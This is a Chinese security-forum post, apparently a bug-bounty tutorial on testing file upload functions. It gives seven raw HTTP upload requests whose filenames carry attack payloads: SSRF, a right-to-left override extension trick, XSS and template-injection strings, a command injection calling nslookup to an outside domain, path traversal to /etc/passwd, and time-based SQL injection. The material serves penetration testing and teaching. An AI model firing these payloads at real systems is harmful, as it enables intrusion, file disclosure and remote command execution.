安全矩阵

 找回密码
 立即注册
搜索
查看: 598|回复: 0

赏金猎人系列-如何测试文件上传功能

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-12-19 15:51:50 | 显示全部楼层 |阅读模式

赏金猎人系列-如何测试文件上传功能

赏金猎人系列-如何测试文件上传功能

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

好久没写如何测试系列了,这次就继续来写写,本系列主要是讲解如何测试文件上传功能的,系列比较长,可能会分为好几次,好了,下面来开始;

正文第一种情况

尝试将文件名改为https://IP-v4.com,看会不会导致 Blind SSRF

  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file"; filename="https://IP-v4/"
  6. Content-Type: image/png
  7. ... contents of file here ... ------WebKitFormBoundary--
复制代码

第二种情况

尝试使用从右到左覆盖,重命名上传的文件,比如说:名字为name.%E2%80%AEphp.jpg,现在改为name.gpj.php


  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file";
  6. filename="name.%E2%80%AEphp.jpg"
  7. Content-Type: application/php

  8. ... contents of file here ... ------WebKitFormBoundary--
复制代码

第三种情况

尝试对文件名编码,原来只能上传 jpg或者png,现在使用#(%23),这里举个例子:

原来是: image.jpg, 现改为 image.jpg%23.html,可能会绕过文件类型

第四种情况

将文件名改为'"><img src=x onerror=alert(document.domain)>.extension或者 {{constructor.constructor('alert(1)')()}}.extension

看看是否可能会有一个xss:


  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file"; filename="'"><img src=x onerror=alert(document.domain)>.png"
  6. Content-Type: image/png

  7. ------WebKitFormBoundary--
复制代码

第五种情况

将文件名字改为-‐use‐compress‐program=nslookup me.com ‐domain=a.extension,可能会有一个rce在等着你

  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file"; filename="-‐use- compress‐program=nslookup me.com -domain=a.png"
  6. Content-Type: image/png

  7. ------WebKitFormBoundary--
复制代码

第六种情况

将文件名改为LFI的Payloads,例如:将文件名改为: image.png../../../../../../../etc/passwd

看是否能够存在LFI


  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file";
  6. filename="image.png../../../../../../../etc/passwd"
  7. Content-Type: image/png

  8. ------WebKitFormBoundary--
复制代码

第七种情况

将文件名改为Time-Based SQLi 的payloads:

poc.js'(select*from(select(sleep(20)))a)+'.extension


  1. POST /fileUpload HTTP/1.1
  2. Host: company.com
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Content-Length: Number

  5. Content-Disposition: form-data; name="file";
  6. filename="poc.js'(select*from(select(sleep(20)))a)+'.png"
  7. Content-Type: image/png

  8. ------WebKitFormBoundary--
复制代码

参考

https://hackerone.com/reports/298

https://blog.detectify.com/2012/12/30/how-i-hacked-facebook-and-received-a-3500-usd-facebook-bug-bounty/

https://bugreader.com/updatelap@local-file-inclusion-in-peeringgooglecom-70

https://jspin.re/fileupload-blind-sqli/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 18:44 , Processed in 0.014670 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表